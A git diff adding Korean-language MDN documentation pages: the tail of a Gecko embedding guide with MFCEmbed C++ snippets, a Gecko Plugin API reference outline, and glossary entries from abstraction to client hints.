The XULPlanet nsWebBrowser reference also has a lot of useful information on this class.

+ +

nsIWebBrowserSetup

+ +

이 인터페이스는 브라우져 윈도우가 열리기 전에, 기본 프로퍼티(이미지를 로드 할 것인지 안할 것인지 같은)를 설정한다.

+ +

nsIWebNavigation

+ +

nsIWebNavigation 인터페이스는 웹 브라우져 Instance로 URI를 로드하며, Sessoin History 기능(Back이나 Forward 같은)에 접근할 수 있도록 한다. 2006년 6월 6일, 이 인터페이스는 아직 Frozen되지 않았다.

+ +

nsIWebBrowserPersist

+ +

nsIWebBrowserPersist 인터페이스는 File로 URI를 저장할 수 있도록 한다. 2006년 6월 6일, 이 인터페이스는 아직 Frozen되지 않았다.

+ +

nsIBaseWindow

+ +

nsIBaseWindow 인터페이스는 일반적인 Windows나 기본 기능(size, position, windows title 반환 등)이 동작 할 수 있도록 한다. 2006년 6월 6일 이 인터페이스는 아직 Frozen되지 않았다.

+ +

nsISHistory

+ +

nsISHistory 인터페이스는 Session histroy 정보에 접근하며, 삭제 할 수 있도록 한다.

+ +

nsIWebBrowserFind

+ +

nsIWebBrowserFind 인터페이스는 브라우져 Window에서 문자열 검색을 설정, 실행 할 수 있도록 제어한다.

+ +

What You Provide

+ +

The following is a description of some of the more common embedder-provided interfaces used in embedding Gecko. It is by no means an exhaustive list of the available interfaces.

+ +

nsIWebBrowserChrome

+ +

The nsIWebBrowserChrome interface corresponds to the top-level, outermost window containing an embedded Gecko web browser. You associate it with the WebBrowser through the nsIWebBrowser interface. It provides control over window setup and whether or not the window is modal. It must be implemented.

+ +

nsIEmbeddingSiteWindow

+ +

The nsIEmbeddingSiteWindow interface provides Gecko with the means to call up to the host to resize the window, hide or show it and set/get its title. It must be implemented.

+ +

nsIWebProgressListener

+ +

The nsIWebProgressListener interface provides information on the progress of loading documents. It is added to the WebBrowser through the nsIWebBrowser interface. It must be implemented. As of this writing (8/19/02), it is not frozen.

+ +

nsISHistoryListener

+ +

The nsISHistoryListener interface is implemented by embedders who wish to receive notifications about activities in session history. A history listener is notified when pages are added, removed and loaded from session history. It is associated with Gecko through the nsIWebBrowser interface. Implementation is optional.

+ +

nsIContextMenuListener

+ +

The nsIContextMenuListener interface is implemented by embedders who wish to receive notifications for context menu events, i.e. generated by a user right-mouse clicking on a link. It should be implemented on the web browser chrome object associated with the window for which notifications are required. When a context menu event occurs, the browser will call this interface if present. Implementation is optional.

+ +

nsIPromptService

+ +

The nsIPromptServices interface allows the embedder to override Mozilla's standard prompts: alerts, dialog boxes, and check boxes and so forth. The class that implements these embedder specific prompts must be registered with the Component Manager using the same CID and contract ID that the Mozilla standard prompt service normally uses. Implementation is optional. As of this writing (8/19/02), this interface is not frozen.

+ +

Common Embedding Tasks

+ +

The following is a series of code snippets (taken from MFCEmbed, the Windows based embedding Gecko sample) which demonstrate very briefly implementation associated with common embedding tasks.To see all the files associated with this sample, go to http://lxr.mozilla.org/seamonkey/sou...ests/mfcembed/. There are also Linux- and Mac OS-based examples.

+ +

Gecko setup

+ +

The Gecko embedding layer must be initialized before you can use Gecko. This ensures XPCOM is started, creates the component registry if necessary, and starts global services. There is an equivalent shutdown procedure.

+ +

Note that the embedding layer is started up by passing it two parameters. The first indicates where the executable is stored on the file system (nsnull indicates the working directory). The second indicates the file location object "provider" that specifies to Gecko where to find profiles, the component registry preferences, and so on.

+ +
nsresult rv;
+rv = NS_InitEmbedding(nsnull, provider);
+if(NS_FAILED(rv))
+{
+ASSERT(FALSE);
+return FALSE;
+}
+
+ +

Creating a browser instance

+ +

The embedder-provided BrowserView object calls its method CreateBrowser(). Each browser object (a webbrowser) represents a single browser window. Notice the utility directive do_CreateInstance() and the use of macros.

+ +
//Create an instance of the Mozilla embeddable browser
+
+HRESULT CBrowserView::CreateBrowser()
+{
+// Create a web shell
+nsresult rv;
+mWebBrowser = do_CreateInstance(NS_WEBBROWSER_CONTRACTID, &rv);
+if(NS_FAILED(rv))
+return rv;
+
+ +

Once the nsWebBrowser object is created the application uses do_QueryInterface() to load a pointer to the nsIWebNavigation interface into the mWebNav member variable. This will be used later for web page navigation.

+ +
rv = NS_OK;
+mWebNav = do_QueryInterface(mWebBrowser, &rv);
+if(NS_FAILED(rv))
+return rv;
+
+ +

Next the embedder-provided CBrowserImpl object is created. Gecko requires that some interfaces be implemented by the embedder so that Gecko can communicate with the embedding application. See the What You Provide Section. In the sample, CBrowserImpl is the object that implements those required interfaces. It will be passed into the SetContainerWindow() call below.

+ +
mpBrowserImpl = new CBrowserImpl();
+if(mpBrowserImpl == nsnull)
+return NS_ERROR_OUT_OF_MEMORY;
+
+ +

The mWebBrowser interface pointer is then passed to the CBrowserImpl object via its Init() method. A second pointer to the platform specific BrowserFrameGlue interface is also passed in and saved. The BrowserFrameGlue pointer allows CBrowserImpl to call methods to update status bars, progress bars, and so forth.

+ +
mpBrowserImpl->Init(mpBrowserFrameGlue, mWebBrowser);
+mpBrowserImpl->AddRef();
+
+ +

Next the embedder-supplied chrome object is associated with the webbrowser. Note the use of an nsCOMPtr.

+ +
mWebBrowser->SetContainerWindow
+	(NS_STATIC_CAST(nsIWebBrowserChrome*, mpBrowserImpl));
+nsCOMPtr<nsIWebBrowserSetup>setup(do_QueryInterface(mWebBrowser));
+if (setup)
+	setup->SetProperty(nsIWebBrowserSetup::SETUP_IS_CHROME_WRAPPER,PR_TRUE);
+
+ +

Then, the real webbrowser window is created.

+ +
rv = NS_OK;
+mBaseWindow = do_QueryInterface(mWebBrowser, &rv);
+if(NS_FAILED(rv))
+return rv;
+
+ +

Binding a window

+ +

Basic location information is passed in.

+ +
RECT rcLocation;
+GetClientRect(&rcLocation);
+if(IsRectEmpty(&rcLocation))
+{
+	rcLocation.bottom++;
+	rcLocation.top++;
+}
+rv = mBaseWindow->InitWindow(nsNativeWidget(m_hWnd),
+		nsnull,0, 0, rcLocation.right - rcLocation.left,
+		rcLocation.bottom - rcLocation.top);
+rv = mBaseWindow->Create();
+
+ +

Note the m_hWnd passed into the call above to InitWindow(). (CBrowserView inherits the m_hWnd from CWnd). This m_hWnd will be used as the parent window by the embeddable browser.

+ +

Adding a listener

+ +

The BrowserImpl object is added as an nsIWebProgressListener. It will now receive progress messages. These callbacks will be used to update the status/progress bars.

+ +
nsWeakPtr weakling
+	(dont_AddRef(NS_GetWeakReference(NS_STATIC_CAST(nsIWebProgressListener*,
+			mpBrowserImpl))));
+void mWebBrowser->AddWebBrowserListener(weakling, NS_GET_IID(nsIWebProgressListener));
+
+ +

Finally the webbrowser window is shown.

+ +
mBaseWindow->SetVisibility(PR_TRUE);
+
+ +

Using session history to navigate

+ +

The pointer to nsIWebNavigation saved above is used to move back through session history.

+ +
void CBrowserView::OnNavBack()
+{
+if(mWebNav)
+	mWebNav->GoBack();
+}
+
+ +

Appendix: Data Flow Inside Gecko

+ +

While it isn't strictly necessary for embedders to understand how Gecko does what it does, a brief overview of the main structures involved as Gecko puts bits on a display may be helpful.

+ + + +

HTML data comes into Gecko either from the network or a local source. The first thing that happens is that it is parsed, using Gecko's own HTML parser. Then the Content Model arranges this parsed data into a large tree. The tree is also known as the "Document" and its structure is based on the W3C Document Object Model. Any use of DOM APIs manipulates the data in the Content Model.

+ +

Next the data is put into frames using CSS and the Frame Constructor. A frame in this sense (which is not the same thing as an HTML frame) is basically an abstract box within which a DOM element will be displayed. This process produces a Frame Tree, which, like the Content Model, is a tree of data, but this time focused not on the logical relationship among the elements but on the underlying calculations needed to display the data. In the beginning a frame has no size. Using CSS rules specifying how the elements of the DOM should look when they are displayed, including information like font type or image size, the eventual size of each frame is calculated. Because the same data may need to be displayed in different ways -- to a monitor and to a printer, for example -- a particular Content Model may have more than one Frame Tree associated with it. In such a case, each individual Frame Tree would belong to a different "presentation" mode.

+ +

Calculations continue as new information flows into the system using a process called reflow. As information in the Frame Tree changes, the section of the Frame Tree involved is marked "dirty" by the Frame Constructor. Reflow repeatedly steps through the tree, processing every "dirty" item it encounters until all the items it encounters are "clean". Every item in the Frame Tree has a pointer back to its corresponding item in the Content Model. A change in the Content Model, say through using the DOM APIs to change an element from hidden to visible, produces an equivalent change in the Frame Tree. It's important to note that all of these operations are purely data manipulations. Painting to the display itself is not yet involved at this point.

+ +

The next stage is the View Manager. With a few small exceptions that have to do with prompting the Frame Constructor to load graphics, the View Manager is the first place in the process that accesses the native OS. Delaying OS access until this point both helps Gecko to run more quickly and makes cross-platform issues easier to deal with. The View Manger is the place where Gecko figures out where on the display the data will need to be drawn. It then tells the system that that area is "invalid" and needs to be repainted. The actual painting is managed by the gfx submodule, while other low-level system operations are run through the widget submodule, which handles things like platform specific event (mouse clicks and so forth) processing loops and accessing system defaults (colors, fonts, etc.) Both gfx and widget are system specific.

+ +

If you want to take a look at the code underlying these structures, the code for the Content Model can be found in <tt>/mozilla/content</tt>, for the Frame Constructor, CSS, and Reflow in <tt>/mozilla/layout</tt>, for the View Manager in <tt>/mozilla/view</tt>, and for the DOM APIs in <tt>/mozilla/dom</tt>.

+ +
+

Original Document Information

+ + +
diff --git a/files/ko/gecko_plugin_api_reference/index.html b/files/ko/gecko_plugin_api_reference/index.html new file mode 100644 index 0000000000..693edd9244 --- /dev/null +++ b/files/ko/gecko_plugin_api_reference/index.html @@ -0,0 +1,213 @@ +--- +title: Gecko Plugin API Reference +slug: Gecko_Plugin_API_Reference +tags: + - Gecko + - NeedsMigration + - Plugins +--- +
Note: This document is in the process of being migrated. If you would like to help with this migration, please migrate from devedge-temp. +
+


+

+

Preface

+
About This Guide +
Who Should Read This Guide +
The Plug-in Software Development Kit +
+

Plug-in Basics

+
How Plug-ins Are Used +
+
Plug-ins and Helper Applications +
+
How Plug-ins Work +
Understanding the Runtime Model +
Plug-in Detection +
+
How Gecko Finds Plug-ins +
Checking Plug-ins by MIME Type +
+
Overview of Plug-in Structure +
+
Understanding the Plug-in API +
Plug-ins and Platform Independence +
+
Windowed and Windowless Plug-ins +
The Default Plug-in +
Using HTML to Display Plug-ins +
+
Plug-in Display Modes +
Using the OBJECT Tag for Plug-in Display +
Nesting Rules for HTML Elements +
Using the Appropriate Attributes +
Using the EMBED Tag for Plug-in Display +
Using Custom EMBED Attributes +
+
Plug-in References +
+

Plug-in Development Overview

+
Writing Plug-ins +
Registering Plug-ins +
+
MS Windows +
Unix +
Mac OS +
OSX +
+
Drawing a Plug-in Instance +
Handling Memory +
Sending and Receiving Streams +
Working with URLs +
Getting Version and UI Information +
Displaying Messages on the Status Line +
Making Plug-ins Scriptable +
Building Plug-ins +
+
Building, Platforms, and Compilers +
Building Carbonized Plug-ins for Mac OSX +
Getting and Using the xpidl Compiler +
Type Libraries +
+
Installing Plug-ins +
+
Native Installers +
XPI Plug-ins Installations +
Plug-in Installation and the Windows Registry +
+
+

Initialization and Destruction

+
Initialization +
Instance Creation +
Instance Destruction +
Shutdown +
Initialize and Shutdown Example +
+

Drawing and Event Handling

+
The NPWindow Structure +
Drawing Plug-ins +
+
Printing the Plug-in +
Setting the Window +
Getting Information +
+
Windowed Plug-ins +
+
Mac OS +
Windows +
Unix +
Event Handling for Windowed Plug-ins +
+
Windowless Plug-ins +
+
Specifying That a Plug-in Is Windowless +
Invalidating the Drawing Area +
Forcing a Paint Message +
Making a Plug-in Opaque +
Making a Plug-in Transparent +
Creating Pop-up Menus and Dialog Boxes +
Event Handling for Windowless Plug-ins +
+
+

Streams

+ +

URLs

+
Getting URLs +
+
Getting the URL and Displaying the Page +
+
Posting URLs +
+
Posting Data to an HTTP Server +
Uploading Files to an FTP Server +
Sending Mail +
+
+

Memory

+ +

Version, UI, and Status Information

+
Displaying a Status Line Message +
Getting Agent Information +
Getting the Current Version +
Finding Out if a Feature Exists +
Reloading a Plug-in +
+

Plug-in Side Plug-in API

+ +

Browser Side Plug-in API

+ +

Structures

+ +

Constants

+ +

Authors

+{{ languages( { "en": "en/Gecko_Plugin_API_Reference", "ja": "ja/Gecko_Plugin_API_Reference", "pl": "pl/Dokumentacja_wtyczek_Gecko" } ) }} diff --git a/files/ko/glossary/abstraction/index.html b/files/ko/glossary/abstraction/index.html new file mode 100644 index 0000000000..9b8d69c4d1 --- /dev/null +++ b/files/ko/glossary/abstraction/index.html @@ -0,0 +1,52 @@ +--- +title: 추상화 +slug: Glossary/Abstraction +tags: + - Abstraction + - CodingScripting + - Glossary + - 추상화 +translation_of: Glossary/Abstraction +--- +

{{Glossary("computer programming", "컴퓨터 프로그래밍")}}에서의 추상화란 복잡한 소프트웨어 시스템을 효율적으로 설계하고 구현할 수 있는 방법입니다. 추상화는 뒷편 시스템의 기술적 복잡함을 단순한 {{Glossary("API")}} 뒤에 숨깁니다.

+ +

데이터 추상화의 장점

+ + + + + +

+ +
class ImplementAbstraction {
+  // method to set values of internal members
+  set(x, y) {
+    this.a = x;
+    this.b = y;
+  }
+
+  display() {
+    console.log('a = ' + this.a);
+    console.log('b = ' + this.b);
+  }
+}
+
+const obj = new ImplementAbstraction();
+obj.set(10, 20);
+obj.display();
+// a = 10
+// b = 20
+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/accessibility/index.html b/files/ko/glossary/accessibility/index.html new file mode 100644 index 0000000000..68b99083f6 --- /dev/null +++ b/files/ko/glossary/accessibility/index.html @@ -0,0 +1,33 @@ +--- +title: 접근성 +slug: Glossary/Accessibility +tags: + - Accessibility + - Glossary +translation_of: Glossary/Accessibility +--- +

웹 접근성(Accessibility, A11Y)은 신체적, 기술적 제약사항에도 불구하고 충분히 사용 가능한 웹사이트를 만드는 것을 말합니다. 웹 접근성은 {{Glossary("W3C")}}의 {{Glossary("WAI","Web Accessibility Initiative")}}(WAI)가 공식적으로 정의하고 논의합니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

웹 접근성 학습

+ + + +

기술 참고서

+ + diff --git a/files/ko/glossary/ajax/index.html b/files/ko/glossary/ajax/index.html new file mode 100644 index 0000000000..59167bb33f --- /dev/null +++ b/files/ko/glossary/ajax/index.html @@ -0,0 +1,26 @@ +--- +title: AJAX +slug: Glossary/AJAX +tags: + - AJAX + - 아작스 + - 용어 +translation_of: Glossary/AJAX +--- +

AJAX (Asynchronous {{glossary("JavaScript")}} And {{glossary("XML")}})는 {{glossary("HTML")}}, {{glossary("CSS")}}, JavaScript, {{glossary("DOM")}} 조작, 와 XMLHttpRequest {{glossary("object")}}를 활용한 프로그래밍 방식이다. AJAX는 전체 페이지가 다시 로드되지 않고 일부분만 업데이트하는 좀 더 복잡한 웹페이지를 만들 수 있게 해준다. 또한 AJAX를 사용하면 웹페이지 일부가 리로드 되는 동안에도 코드가 계속 실행되어 비동기식으로 작업할 수 있다.  (동기적으로 움직이는 코드와 비교하자면 웹페이지가 로딩이 끝날 때 까지 당신의 코드는 움직이지 않습니다.)

+ +

더 많은 정보

+ +

일반 지식

+ + + +

기술 정보

+ + diff --git a/files/ko/glossary/algorithm/index.html b/files/ko/glossary/algorithm/index.html new file mode 100644 index 0000000000..79c9820ce2 --- /dev/null +++ b/files/ko/glossary/algorithm/index.html @@ -0,0 +1,38 @@ +--- +title: Algorithm +slug: Glossary/Algorithm +tags: + - 알고리즘 +translation_of: Glossary/Algorithm +--- +

알고리즘(Algorithm)은 기능을 수행하기 위한 독립된 명령어들의 집합이다.

+ +

즉, 알고리즘은 인간이나 기계에 의해 반복적으로 해결할 수 있도록 문제를 해결하는 방법을 기술하는 수단이다. 컴퓨터 과학자들은 "알고리즘의 복잡성"이나 "빅 O" 표기법이라는 개념을 통해 알고리즘의 효율성을 비교한다.

+ +

예를 들어:

+ + + +

일반적인 알고리즘은 Traveling Salemen Problem, Tree Traversal Algorithms 등과 같은 길 찾기 알고리즘이다.

+ +

선형 회귀, 로지스틱 회귀, 의사결정 트리, 랜덤 포레스트, 지원 벡터 머신, Recurrent Neural Network(RNN), Long Term Memory(LSTM) Neural Network, Convolutional Neural Network(CNNN), Deep Convolutional Neural Network(심층 신경망) 등의 머신 러닝 알고리즘도 있다.

+ +

더 알아보기

+ +

일반적 지식

+ + + +

기술적 참조

+ + diff --git a/files/ko/glossary/api/index.html b/files/ko/glossary/api/index.html new file mode 100644 index 0000000000..5e4ae8818e --- /dev/null +++ b/files/ko/glossary/api/index.html @@ -0,0 +1,33 @@ +--- +title: API +slug: Glossary/API +translation_of: Glossary/API +--- +

 

+ +

API(Application Programming Interface)는 소프트웨어 프로그램(애플리케이션) 내부에 존재하는 기능 및 규칙의 집합이다. API는 Human User Interface와 달리 소프트웨어를 통해 상호작용할 수 있다. 즉, API는 API를 제공하는 애플리케이션과 서드파티 소프트웨어 및 하드웨어 등의 것들 사이의 간단한 계약(인터페이스)이라고도 볼 수 있다.
+
+ 웹 개발에서 보통 API는 개발자가 앱을 통해 사용자의 웹 브라우저에서 상호작용할 수 있도록 하는 코드 기능들( e.g. {{glossary("method","methods")}}, {{Glossary("property","properties")}}, 이벤트, {{Glossary("URL","URLs")}}), 사용자의 컴퓨터 상에 있는 다른 소프트웨어 및 하드웨어, 또는 서드파티 웹사이트나 서비스의 집합을 의미한다.
+
+ 예를 들면 다음과 같다:

+ + + +

Learn more

+ +

General knowledge

+ + + +

Technical reference

+ + diff --git a/files/ko/glossary/argument/index.html b/files/ko/glossary/argument/index.html new file mode 100644 index 0000000000..75e24fc17a --- /dev/null +++ b/files/ko/glossary/argument/index.html @@ -0,0 +1,20 @@ +--- +title: Argument +slug: Glossary/Argument +translation_of: Glossary/Argument +--- +

인수란 {{Glossary("function","함수")}}에 입력으로 간주되는 ({{Glossary("primitive","원시적")}}인 또는 {{Glossary("object","객체")}}의){{glossary("value","값")}} 이다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + +

기술적 참조

+ + diff --git a/files/ko/glossary/ascii/index.html b/files/ko/glossary/ascii/index.html new file mode 100644 index 0000000000..ab61d636bd --- /dev/null +++ b/files/ko/glossary/ascii/index.html @@ -0,0 +1,12 @@ +--- +title: ASCII +slug: Glossary/ASCII +translation_of: Glossary/ASCII +--- +

미국정보교환표준부호(American Standard Code for Information Interchange) 또는 ASCII는 문자, 숫자, 구두점, 제어문자를 디지털 형태로 바꾸어주는 대표적인 문자 인코딩 방식이다. 2007년 부터 웹에서는 {{Glossary("UTF-8")}}이 주로 쓰이고 있다.

+ +

Learn more

+ +

General knowledge

+ +

{{Interwiki("wikipedia", "ASCII")}} on Wikipedia

diff --git a/files/ko/glossary/attribute/index.html b/files/ko/glossary/attribute/index.html new file mode 100644 index 0000000000..b14d2ffbee --- /dev/null +++ b/files/ko/glossary/attribute/index.html @@ -0,0 +1,32 @@ +--- +title: 특성 +slug: Glossary/Attribute +tags: + - CodingScripting + - Glossary + - HTML +translation_of: Glossary/Attribute +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

특성(attribute)은 {{glossary("tag", "태그")}}를 확장해 동작 방식을 바꾸거나 메타데이터를 제공합니다.

+ +

특성은 항상 name="value"의 형태를 따릅니다. (특성 식별자 뒤에 특성 값)

+ +

등호 또는 값 없는 특성이 보일 때도 있습니다. {{glossary("HTML")}}에서는 빈 문자열을 제공하는 단축 표기법이고, {{glossary("XML")}}에서는 특성 이름을 제공하는 단축 표기법입니다.

+ +
<input required>
+<!-- 다음과 같음 -->
+<input required="">
+<!-- 다음과 같음 -->
+<input required="required">
+
+ +

더 알아보기

+ +

기술 참고서

+ + diff --git a/files/ko/glossary/bandwidth/index.html b/files/ko/glossary/bandwidth/index.html new file mode 100644 index 0000000000..4f91a010bd --- /dev/null +++ b/files/ko/glossary/bandwidth/index.html @@ -0,0 +1,15 @@ +--- +title: Bandwidth +slug: Glossary/Bandwidth +tags: + - 대역폭 + - 용어사전 +translation_of: Glossary/Bandwidth +--- +

대역폭은 주어진 시간 내에 얼마나 많은 정보가 데이터 연결을 통과 할 수 있는지를 나타냅니다. 대개 초당 메가 비트 (Mbps) 또는 초당 기가비트 (Gbps)와 같이 초당 비트 수 (bps)의 배수로 측정됩니다.

+ +

Learn more

+ + diff --git a/files/ko/glossary/block/css/index.html b/files/ko/glossary/block/css/index.html new file mode 100644 index 0000000000..51f0e9115a --- /dev/null +++ b/files/ko/glossary/block/css/index.html @@ -0,0 +1,24 @@ +--- +title: 블록 (CSS) +slug: Glossary/Block/CSS +tags: + - CSS + - CodingScripting + - Design + - Glossary + - HTML +translation_of: Glossary/Block/CSS +--- +

웹페이지의 블록은 {{glossary("HTML")}} {{glossary("element", "요소")}}로 새 줄에 표시된다. 즉, 가로 쓰기 모드에 속한 선행 요소 아래나 (블록 수준 요소로 통용되는) 후속 요소 위에 표시된다. 예를 들면, {{htmlelement("p")}}는 기본적으로 블록 수준 요소지만, {{htmlelement("a")}}는 인라인 요소이다. 당신의 에이치티엠엘 소스에서 여러 링크를 상대 요소 옆에 위치시킬 수 있고, 그것들을 렌더링 된 출력 형태로 상대 요소와 동일 선상에 놓는다.

+ +

{{cssxref("display")}} 속성을 사용하면 요소가 (여러 다양한 옵션 중) 인라인으로 표시되는지 아니면 블록으로 표시되는지를 변경할 수 있으며, 블록 역시 포지셔닝 체계의 영향과 {{cssxref("position")}} 속성 사용의 영향을 받는다.

+ +

더 알아보기

+ +

일반 지식

+ + + +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
diff --git a/files/ko/glossary/block/index.html b/files/ko/glossary/block/index.html new file mode 100644 index 0000000000..8f17177e82 --- /dev/null +++ b/files/ko/glossary/block/index.html @@ -0,0 +1,13 @@ +--- +title: Block +slug: Glossary/Block +tags: + - Disambiguation + - Glossary + - NeedsTranslation + - TopicStub +translation_of: Glossary/Block +--- +

The term block can have several meanings depending on the context. It may refer to:

+ +

{{GlossaryDisambiguation}}

diff --git a/files/ko/glossary/browser/index.html b/files/ko/glossary/browser/index.html new file mode 100644 index 0000000000..093879c392 --- /dev/null +++ b/files/ko/glossary/browser/index.html @@ -0,0 +1,41 @@ +--- +title: 브라우저 +slug: Glossary/Browser +tags: + - Glossary + - Navigation +translation_of: Glossary/Browser +--- +

웹 브라우저 또는 브라우저는 {{Glossary("World Wide Web","웹")}}에서 페이지를 찾아서 보여주고, 사용자가 {{Glossary("hyperlink","하이퍼링크")}}를 통해 다른 페이지로 이동할 수 있도록 하는 프로그램입니다. 브라우저는 가장 익숙한 타입의 {{Glossary("user agent", "사용자 에이전트")}}입니다.

+ +

더 알아보기

+ +

브라우저 다운로드

+ + + + diff --git a/files/ko/glossary/call_stack/index.html b/files/ko/glossary/call_stack/index.html new file mode 100644 index 0000000000..40ab2f4c99 --- /dev/null +++ b/files/ko/glossary/call_stack/index.html @@ -0,0 +1,84 @@ +--- +title: 호출 스택 +slug: Glossary/Call_stack +tags: + - Glossary + - JavaScript + - 호출 스택 +translation_of: Glossary/Call_stack +--- +

호출 스택은 여러 함수들({{glossary("function","functions")}})을 호출하는 스크립트에서 해당 위치를 추적하는 인터프리터 (웹 브라우저의 자바스크립트 인터프리터같은)를 위한 메커니즘입니다. 현재 어떤 함수가 동작하고있는 지, 그 함수 내에서 어떤 함수가 동작하는 지, 다음에 어떤 함수가 호출되어야하는 지 등을 제어합니다.

+ + + +

예제

+ +
function greeting() {
+   // [1] Some codes here
+   sayHi();
+   // [2] Some codes here
+}
+function sayHi() {
+   return "Hi!";
+}
+
+// Invoke the `greeting` function
+greeting();
+
+// [3] Some codes here
+ +

위 코드는 다음과 같이 실행될 것입니다.

+ +
    +
  1. greeting() 함수에 도달할 때까지, 모든 함수를 무시합니다.
  2. +
  3. greeting() 함수를 호출합니다.
  4. +
  5. greeting() 함수를 호출 스택 리스트에 추가합니다.
    + +
    +

    호출 스택 리스트:
    + - greeting

    +
    +
  6. +
  7. `greeting` 함수 내부의 모든 코드를 실행합니다.
  8. +
  9. sayHi() 함수를 얻습니다.
  10. +
  11. sayHi() 함수를 호출 스택 리스트에 추가합니다.
    + +
    +

    호출 스택 리스트:
    + - greeting
    + - sayHi

    +
    +
  12. +
  13. sayHi() 함수의 끝에 도달할 때까지, 함수 내부의 모든 코드를 실행합니다.
  14. +
  15. sayHi() 가 호출된 라인으로 돌아와 greeting() 함수의 나머지를 계속 실행합니다.
  16. +
  17. 호출 스택 리스트에서 sayHi() 함수를 제거합니다.
    + +
    +

    호출 스택 리스트:
    + - greeting

    +
    +
  18. +
  19. greeting() 함수 내부의 모든 코드가 실행되었을 때, 이를 호출한 라인으로 돌아와 JS 코드의 나머지를 계속 실행합니다.
  20. +
  21. 호출 스택 리스트에서 greeting() 함수를 제거합니다.
    + +
    +

    호출 스택 리스트:
    + EMPTY

    +
    +
  22. +
+ +

우리는 빈 호출 스택으로 시작하며, 함수를 호출할 때마다 자동으로 호출 스택에 추가되고, 해당 코드가 모두 실행된 후, 호출 스택에서 자동으로 제거됩니다. 결국, 마찬가지로 빈 호출 스택으로 끝납니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/character/index.html b/files/ko/glossary/character/index.html new file mode 100644 index 0000000000..8f38147f2f --- /dev/null +++ b/files/ko/glossary/character/index.html @@ -0,0 +1,18 @@ +--- +title: Character +slug: Glossary/Character +translation_of: Glossary/Character +--- +

문자는 기호(글자, 숫자, 문장 부호) 또는 비출력 "제어"(예: 캐리지 리턴 또는 소프트 하이픈)이다. {{glossary("UTF-8")}}은 가장 보편적인 문자 세트이며 유명한 인간 언어들의 문자를 포함한다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/character_encoding/index.html b/files/ko/glossary/character_encoding/index.html new file mode 100644 index 0000000000..0670b18115 --- /dev/null +++ b/files/ko/glossary/character_encoding/index.html @@ -0,0 +1,23 @@ +--- +title: Character encoding +slug: Glossary/character_encoding +translation_of: Glossary/character_encoding +--- +

인코딩은 바이트와 텍스트 간의 매핑을 정의한다. 바이트 시퀀스는 다양한 텍스트 해석을 허용한다. 특정 인코딩(예를 들면 UTF-8 등)을 지정함으로써 바이트 시퀀스를 해석하는 방법을 지정한다.

+ +

예를 들어, HTML에서 우리는 일반적으로 아래 줄과 같이 UTF-8의 문자 인코딩을 선언한다 :

+ +
+
<meta charset="utf-8">
+ +

이것은 당신이 당신의 HTML 문서에서 인간 언어의 문자를 사용할 수 있도록 보장하며, 그것들은 신뢰성 있게 표시될 것이다.

+
+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/character_set/index.html b/files/ko/glossary/character_set/index.html new file mode 100644 index 0000000000..7c6d876238 --- /dev/null +++ b/files/ko/glossary/character_set/index.html @@ -0,0 +1,31 @@ +--- +title: Character set +slug: Glossary/character_set +translation_of: Glossary/character_set +--- +

문자 집합 은 문자, 숫자, 문장 부호, 공백 등의 {{Glossary("Character", "문자")}}들을 재생하는 방법을 컴퓨터에 알려주는 인코딩 시스템이다.

+ +

이전에, 각 나라들은 그들의 다양한 문자 사용 때문에 고유의 문자 집합(예를 들면 일본어를 위한 Kanji JIS 코드(예: Shift-JIS, EUC-JP 등), 전통 중국어를 위한 Big5, 러시아어를 위한 KOI8-R) 을 개발했다. 그러나, {{Glossary("Unicode")}}는 점차 보편적인 언어 지원을 위해 가장 수용 가능한 문자 집합이 된다.

+ +

문자 집합이 잘못 사용된 경우(예: 빅5로 인코딩된 기사의 Unicode) {{Interwiki("wikipedia", "글자 깨짐")}}이라고 하는 끊어진 문자만 볼 수 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ +
    +
  1. Wikipedia articles +
      +
    1. {{Interwiki("wikipedia", "Character encoding")}}
    2. +
    3. {{Interwiki("wikipedia", "문자 깨짐")}}
    4. +
    +
  2. +
  3. Glossary +
      +
    1. {{Glossary("Character")}}
    2. +
    3. {{Glossary("Unicode")}}
    4. +
    +
  4. +
+ + diff --git a/files/ko/glossary/chrome/index.html b/files/ko/glossary/chrome/index.html new file mode 100644 index 0000000000..1697c9e4c9 --- /dev/null +++ b/files/ko/glossary/chrome/index.html @@ -0,0 +1,12 @@ +--- +title: Chrome +slug: Glossary/Chrome +translation_of: Glossary/Chrome +--- +

브라우저에서 크롬은 웹 페이지 자체(예: 도구 모음, 메뉴 바, 탭)를 제외하고 브라우저의 모든 가시적인 측면이다. 이것은 {{glossary("Google Chrome")}} 브라우저와 혼동해서는 안 된다.

+ +

더 알아보기

+ + diff --git a/files/ko/glossary/client_hints/index.html b/files/ko/glossary/client_hints/index.html new file mode 100644 index 0000000000..50a6443523 --- /dev/null +++ b/files/ko/glossary/client_hints/index.html @@ -0,0 +1,41 @@ +--- +title: Client hints(클라이언트 힌트) +slug: Glossary/Client_hints +tags: + - Client hints + - Reference + - UA 대안 + - User-agent + - 클라이언트 힌트 +translation_of: Glossary/Client_hints +--- +

Client Hints는 클라이언트 장치 및 에이전트별 기본 설정 목록을 확인할 수 있도록 사전 컨텐츠 체크를 위한  HTTP request header 입니다. Client Hints를 사용하면 이미지 DPR 해상도의 자동 조절과 최적화 된 assets을 자동으로 적용할 수 있습니다.

+ +

Client Hints는 자동으로 적용되는 것이 아닙니다 :  ClientHints를 지원한다고 선언하기 위해서 서버에서  Accept-CH (accept client hints) header 또는 클라이언트에서 HTML Meta 태그의  http-equiv 속성을 사용하여 선언해주어야 합니다.

+ +

Accept-CH: DPR, Width, Viewport-Width, Downlink

+ +

또는

+ +

<meta http-equiv="Accept-CH" content="DPR, Width, Viewport-Width, Downlink">

+ +

클라이언트가 Accept-CH header를 전달받게 되면 지원되는 경우, Client Hint header를 추가합니다. 예를 들어 위의 Accept-CH 예제를 기반으로 클라이언트는 모든 후속 요청에 DPR, Width, Viewport-Width 및 Downlink 헤더를 추가 할 수 있습니다.

+ +

두 번째 예에서 서버는 Accept-CH 메타 태그를 설정하여 브라우저에 힌트를 제공합니다.

+ +

